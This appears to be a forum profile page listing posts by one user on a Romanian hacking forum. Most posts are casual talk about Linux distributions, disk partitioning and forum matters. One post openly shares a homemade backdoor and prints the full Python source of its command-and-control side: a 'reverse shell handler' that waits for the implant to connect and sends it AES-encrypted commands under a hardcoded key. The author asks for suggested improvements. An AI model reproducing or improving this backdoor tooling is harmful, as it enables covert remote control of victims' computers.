Jump to content

BGS

Active Members
  • Posts

    439
  • Joined

  • Last visited

  • Days Won

    4

Everything posted by BGS

  1. Interesant, m-am inscris si eu la algoritmica, criptografie , si securitate deabea astept sa inceapa.
  2. Vin vremuri grele , pregatiti-va cd-urile si dvd-urile cu Linux .
  3. Sau poti sa incerci sabayon care e la fel de user friendly. Galleries | Sabayon | Home
  4. M-am saturat de topic-uri pe subiectul asta , si in plus pot baga mana in foc ca a mai fost postat si in trecut exact acelasi lucru revenitiva oameni buni ca la urma urmei ce importanta are cine are dreptate in discutia aia , traitiva viata.
  5. Folosesti sabayon ? Le: asta era si recomandarea mea so give it a try Linux 1337 2.6.39-sabayon #1 SMP Wed Aug 3 22:09:30 UTC 2011 i686 Intel® Pentium® 4 CPU 3.20GHz GenuineIntel GNU/Linux Pe mine unu m-a surprins placut.
  6. i'll give it a try
  7. Posibil, acum nu mai apare
  8. De ce incearca sa se conecteze forumul la 86.120.139.239 ? (imi da timeout adresa)
  9. Tema black stealth este criminala poate va deveni tema principala a forumului !
  10. HellScream macar ca au morcovu in anus va platesc bine sau e bataie de joc totala ?
  11. BGS

    intrebare

    dai cu tigaia in cap
  12. Poate daca acel login frame nu ar mai da unhandled exceptions la tentativele de login fie ele corecte sau nu, nu s-ar mai chinui nimeni sa "sparga" programu cu dalta. Just a thought totti93.
  13. Trebuie sa defragmentezi datele de pe ambele partitii , daca pe aia de 80 ai windoze folosesti windows defragmentation tool ca sa iti aranjeze datele si pe linux ei bine pe linux fisierele nu se fragmenteaza astfel parerea mea e ca poti da srhink intai la partitia de 80 gb si dupa o maresti pe cealalta de 20 care sa zicem ca e mai mica si are mai multe lucruri pe ea . Teoretic nu ar trebui sa ai vreo problema la redimensionarea partitiei de 80 gb mai ales ca is ocupati doar 10 .
  14. Am asteptat putin timp sa vad unde ajunge topic-ul cu postarile acum vine si concluzia mea : De ce vorbim despre asta in loc sa si realizam lucrul respectiv, am nimerit din greseala pe forumu HH si am observat ca ei au un asa zis "Mentor Program" inteleg ca nu este timp dar este o idee foarte buna , nici ideea punctata de pyth0n3 nu e rea totul e sa luam initiativa.
  15. Mie oricum as face imi da x este 1, continuam executia, folosesc codeblocks , fac ceva gresit ?
  16. Tks for sharing . + big rep
  17. +1 Daca cineva are invite.
  18. A fost gandit ca un simplu backdoor dar mai trebuie lucrat la el, este in stare functionala asa ca am hotarat sa vi-l arat si voua , sa va dati cu parerea la ce ar trebui imbunatatit adaugat etc . Known bugs: Daca dati dir de exemplu intr-un folder unde sunt multe fisiere controller-ul va va da eroarea : [WARNING] Checksum mismatch !!! . Rezolvare ? Trebuie sa impun o limita asupra fluxului de date trimise prin socket de la server catre controller. Nu stiu daca va va fi de folos dar poate va va ajuta sa intelegeti cum functioneaza modelul client <-> server ( pe mine m-a ajutat mult ! ) si ma ajutat sa nu ma plictisesc prea tare in weekend . controller: Python code - 102 lines - codepad app (server): Python code - 148 lines - codepad Mostra : Controller: import zlib import struct from Crypto.Cipher import AES import argparse import socket import sys import re key = "s3cr3t0stuff0u0mad3bro?" class CheckSumError(Exception): pass def _lazysecret(secret, blocksize=32, padding='}'): """pads secret if not legal AES block size (16, 24, 32)""" if not len(secret) in (16, 24, 32): return secret + (blocksize - len(secret)) * padding return secret def encrypt(plaintext, secret, lazy=True, checksum=True): """encrypt plaintext with secret plaintext - content to encrypt secret - secret to encrypt plaintext lazy - pad secret if less than legal blocksize (default: True) checksum - attach crc32 byte encoded (default: True) returns ciphertext """ secret = _lazysecret(secret) if lazy else secret encobj = AES.new(secret, AES.MODE_CFB) if checksum: plaintext += struct.pack("i", zlib.crc32(plaintext)) return encobj.encrypt(plaintext) def decrypt(ciphertext, secret, lazy=True, checksum=True): """decrypt ciphertext with secret ciphertext - encrypted content to decrypt secret - secret to decrypt ciphertext lazy - pad secret if less than legal blocksize (default: True) checksum - verify crc32 byte encoded checksum (default: True) returns plaintext """ secret = _lazysecret(secret) if lazy else secret encobj = AES.new(secret, AES.MODE_CFB) plaintext = encobj.decrypt(ciphertext) if checksum: crc, plaintext = (plaintext[-4:], plaintext[:-4]) if not crc == struct.pack("i", zlib.crc32(plaintext)): raise CheckSumError("[WARNING] Checksum mismatch !!!") return plaintext def main(): desc = """Reverse shell handler: controller.exe -l ip port to listen for connections!""" parser = argparse.ArgumentParser(description=desc) parser.add_argument('ip', help='IP address for listening or connecting.') parser.add_argument('port', help='Port for listening or connecting.') group = parser.add_mutually_exclusive_group() group.add_argument('-l', action='store_true', help='Setup a listening server.') print '[INFO] Parsing arguments...' args = parser.parse_args() print '[INFO] Setting the socket...' sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) if args.l == True: print '[INFO] Binding on : %s:%s' %(args.ip, args.port) sock.bind((args.ip, int(args.port))) print '[INFO] Socket listening for connections...' sock.listen(5) print '[INFO] All set!' app_socket, app_ip = sock.accept() print '[INFO] Server attempting to connect! ' while True: data = decrypt(app_socket.recv(1024), key) print data cmd = raw_input(">>>") if cmd == "exit": app_socket.send(encrypt("/close", key)) sock.close() sys.exit(0) else: app_socket.send(encrypt(cmd, key)) if __name__ == '__main__': main() Le: apare controller.exe la descriere fiindca intentioenz sa il fac ca exe cu py2exe xD .
      • 1
      • Upvote
  19. De ce ar vrea cineva sa mai codeze in pascal ? (scuzati de offtopic dar ma arde curiozitatea cand vad de ce se discuta aici cand s-a trecut deja pe x64 de ceva timp )
  20. BGS

    cell.ro fail?

    My point is off topic , plm
  21. BGS

    cell.ro fail?

    Cam lame nu credeti ? (Se pare ca am facut si eu un mic fail de asemenea e cel.ro)
  22. Mie unu imi place cum le-a iesit interfata si chiar il am pe hdd instalat pe langa windows 7 in momentul asta. Nu ma asteptam dar imi face placere sa imi petrec timpu pe ubuntu 11.10 .
  23. Astora le mai trebuie 2 nucleare... Poate asa s-ar mai trezi din prostia in care se indreapta.
×
×
  • Create New...